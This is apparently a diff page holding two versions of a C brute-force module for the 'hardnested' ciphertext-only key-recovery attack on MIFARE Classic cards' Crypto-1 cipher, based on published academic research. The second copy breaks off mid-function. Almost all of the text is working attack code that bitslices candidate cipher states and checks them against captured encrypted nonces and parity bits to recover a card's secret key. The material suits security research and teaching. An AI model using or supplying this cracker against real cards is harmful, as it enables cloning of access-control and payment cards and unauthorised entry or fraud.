// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
//
// brute forcing is based on @aczids bitsliced brute forcer
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
// - don't rollback. Start with 2nd byte of nonce instead
// - reuse results of filter subfunctions
// - reuse results of previous nonces if some first bits are identical
//
//-----------------------------------------------------------------------------
// aczid's Copyright notice:
//
// Bit-sliced Crypto-1 brute-forcing implementation
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
/*
Copyright (c) 2015-2016 Aram Verstegen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "hardnested_bruteforce.h"
#include <stdlib.h>
#include <malloc.h>
#include "../crapto1.h"
#include "../parity.h"
#define MAX_BITSLICES 64
#define VECTOR_SIZE (MAX_BITSLICES/8)
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
typedef union {
bitslice_value_t value;
uint64_t bytes64[MAX_BITSLICES / 64];
uint8_t bytes[MAX_BITSLICES / 8];
} bitslice_t;
// filter function (f20)
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
// bit indexing
#define get_bit(n, word) (((word) >> (n)) & 1)
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
// size of crypto-1 state
#define STATE_SIZE 48
// size of nonce to be decrypted
#define KEYSTREAM_SIZE 24
// endianness conversion
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
#define free_bitslice(x) free(x)
// arrays of bitsliced states with identical values in all slices
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
// 1 and 0 vectors
static bitslice_t bs_ones;
static bitslice_t bs_zeroes;
void bitslice_test_nonces_NOSIMD(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
// initialize 1 and 0 vectors
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice nonces' 2nd to 4th byte
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
if (bit) {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
}
}
}
// bitslice nonces' parity (4 bits)
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
if (bit) {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
}
}
}
}
uint64_t crack_states_bitsliced_NOSIMD(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
// brute forcing (including roll back).
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
bitslice_t * restrict state_p;
uint64_t key = -1;
uint64_t bucket_states_tested = 0;
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
uint32_t bitsliced_blocks = 0;
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
// constant ones/zeroes
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice all the even states
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
if (bitsliced_even_states == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
if (bitsliced_even_feedback == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
if (lstate_p == NULL) {
printf("Out of memory error in brute_force. Aborting... \n");
exit(4);
}
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
// bitslice even half-states
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
bucket_size[bitsliced_blocks] = max_slices;
uint32_t slice_idx;
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
uint32_t e = *(p_even + slice_idx);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
// padding with last even state
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
uint32_t e = *(p_even_end - 1);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
bitsliced_even_states[bitsliced_blocks] = lstate_p;
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
bitsliced_blocks++;
}
// bitslice every odd state to every block of even states
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
// early abort
if (*keys_found) {
goto out;
}
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
state_p = &states[KEYSTREAM_SIZE];
uint32_t o = *p_odd;
// pre-compute the odd feedback bit
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
// set odd state bits
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
if (o & 1) {
state_p[state_idx] = bs_ones;
} else {
state_p[state_idx] = bs_zeroes;
}
}
bitslice_value_t crypto1_bs_f20b_2[16];
bitslice_value_t crypto1_bs_f20b_3[8];
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
bitslice_value_t ksb[8];
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
crypto1_bs_f20b_2[0],
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
crypto1_bs_f20b_3[0]);
uint32_t * restrict p_even = p->states[EVEN_STATE];
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
// add the even state bits
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
}
// pre-compute first feedback bit vector. This is the same for all nonces
bitslice_value_t fbb[8];
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
// vector to contain test results (1 = passed, 0 = failed)
bitslice_t results = bs_ones;
// parity_bits
bitslice_value_t par[8];
par[0] = bs_zeroes.value;
uint32_t next_common_bits = 0;
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
// common bits with preceding test nonce
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
state_p -= common_bits; // and reuse the already calculated state bits
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
// or the highest bit which differs from the previous nonce
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
// decrypt nonce bits
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
// compute real parity bits on the fly
parity_bit_vector ^= decrypted_nonce_bit_vector;
// update state
state_p--;
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
// update crypto1 subfunctions
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
if (ks_idx > KEYSTREAM_SIZE - 8) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
} else {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
}
// update keystream bit
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
// for each completed byte:
if ((ks_idx & 0x07) == 0) {
// get encrypted parity bits
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
// decrypt parity bits
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
// compare actual parity bits with decrypted parity bits and take count in results vector
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
// make sure we still have a match in our set
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
// the short-circuiting also helps
if (results.bytes64[0] == 0) {
goto stop_tests;
}
// prepare for next nonce byte
parity_bit_vector = bs_zeroes.value;
}
// update feedback bit vector
if (ks_idx != 0) {
fb_bits =
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
}
// remember feedback and keystream vectors for later use
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
if (bit <= next_common_bits) { // if needed and not yet stored
fbb[bit] = fb_bits;
ksb[bit] = ks_bits;
par[bit] = parity_bit_vector;
}
}
// prepare for next nonce. Revert to initial state
state_p = &states[KEYSTREAM_SIZE];
}
// all nonce tests were successful: we've found a possible key in this block!
uint32_t *p_even_test = p_even;
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
uint64_t results64 = results.bytes64[results_word];
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
if (results64 & 0x01) {
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
struct Crypto1State pcs;
pcs.odd = *p_odd;
pcs.even = *p_even_test;
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
crypto1_get_lfsr(&pcs, &key);
bucket_states_tested += 64 * results_word + results_bit;
goto out;
}
}
results64 >>= 1;
p_even_test++;
if (p_even_test == p_even_end) {
goto stop_tests;
}
}
}
stop_tests:
bucket_states_tested += bucket_size[block_idx];
// prepare to set new states
state_p = &states[KEYSTREAM_SIZE];
continue;
}
}
out:
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
free_bitslice(bitsliced_even_states[block_idx]);
}
free(bitsliced_even_states);
free_bitslice(bitsliced_even_feedback);
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
return key;
}

View File

@ -0,0 +1,405 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
//
// brute forcing is based on @aczids bitsliced brute forcer
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
// - don't rollback. Start with 2nd byte of nonce instead
// - reuse results of filter subfunctions
// - reuse results of previous nonces if some first bits are identical
//
//-----------------------------------------------------------------------------
// aczid's Copyright notice:
//
// Bit-sliced Crypto-1 brute-forcing implementation
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
/*
Copyright (c) 2015-2016 Aram Verstegen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "hardnested_bruteforce.h"
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
#include "../crapto1.h"
#include "../parity.h"
#define MAX_BITSLICES 128
#define VECTOR_SIZE (MAX_BITSLICES/8)
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
typedef union {
bitslice_value_t value;
uint64_t bytes64[MAX_BITSLICES / 64];
uint8_t bytes[MAX_BITSLICES / 8];
} bitslice_t;
// filter function (f20)
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
// bit indexing
#define get_bit(n, word) (((word) >> (n)) & 1)
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
// size of crypto-1 state
#define STATE_SIZE 48
// size of nonce to be decrypted
#define KEYSTREAM_SIZE 24
// endianness conversion
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
#if defined (_WIN32)
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
#define free_bitslice(x) _aligned_free(x)
#elif defined (__APPLE__)
static void *malloc_bitslice(size_t x) {
char *allocated_memory;
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
}
}
#define free_bitslice(x) free(x)
#else
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
#define free_bitslice(x) free(x)
#endif
// arrays of bitsliced states with identical values in all slices
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
// 1 and 0 vectors
static bitslice_t bs_ones;
static bitslice_t bs_zeroes;
void bitslice_test_nonces_SSE2(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
// initialize 1 and 0 vectors
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice nonces' 2nd to 4th byte
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
if (bit) {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
}
}
}
// bitslice nonces' parity (4 bits)
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
if (bit) {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
} else {
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
}
}
}
}
uint64_t crack_states_bitsliced_SSE2(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
// brute forcing (including roll back).
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
bitslice_t * restrict state_p;
uint64_t key = -1;
uint64_t bucket_states_tested = 0;
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
uint32_t bitsliced_blocks = 0;
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
// constant ones/zeroes
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
// bitslice all the even states
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
if (bitsliced_even_states == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
if (bitsliced_even_feedback == NULL) {
printf("Out of memory error in brute_force. Aborting...");
exit(4);
}
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
if (lstate_p == NULL) {
printf("Out of memory error in brute_force. Aborting... \n");
exit(4);
}
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
// bitslice even half-states
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
bucket_size[bitsliced_blocks] = max_slices;
uint32_t slice_idx;
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
uint32_t e = *(p_even + slice_idx);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
// padding with last even state
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
uint32_t e = *(p_even_end - 1);
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
// set even bits
if (e & 1) {
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
}
}
}
bitsliced_even_states[bitsliced_blocks] = lstate_p;
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
bitsliced_blocks++;
}
// bitslice every odd state to every block of even states
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
// early abort
if (*keys_found) {
goto out;
}
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
state_p = &states[KEYSTREAM_SIZE];
uint32_t o = *p_odd;
// pre-compute the odd feedback bit
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
// set odd state bits
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
if (o & 1) {
state_p[state_idx] = bs_ones;
} else {
state_p[state_idx] = bs_zeroes;
}
}
bitslice_value_t crypto1_bs_f20b_2[16];
bitslice_value_t crypto1_bs_f20b_3[8];
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
bitslice_value_t ksb[8];
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
crypto1_bs_f20b_2[0],
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
crypto1_bs_f20b_3[0]);
uint32_t * restrict p_even = p->states[EVEN_STATE];
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
// add the even state bits
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
}
// pre-compute first feedback bit vector. This is the same for all nonces
bitslice_value_t fbb[8];
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
// vector to contain test results (1 = passed, 0 = failed)
bitslice_t results = bs_ones;
// parity_bits
bitslice_value_t par[8];
par[0] = bs_zeroes.value;
uint32_t next_common_bits = 0;
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
// common bits with preceding test nonce
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
state_p -= common_bits; // and reuse the already calculated state bits
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
// or the highest bit which differs from the previous nonce
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
// decrypt nonce bits
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
// compute real parity bits on the fly
parity_bit_vector ^= decrypted_nonce_bit_vector;
// update state
state_p--;
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
// update crypto1 subfunctions
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
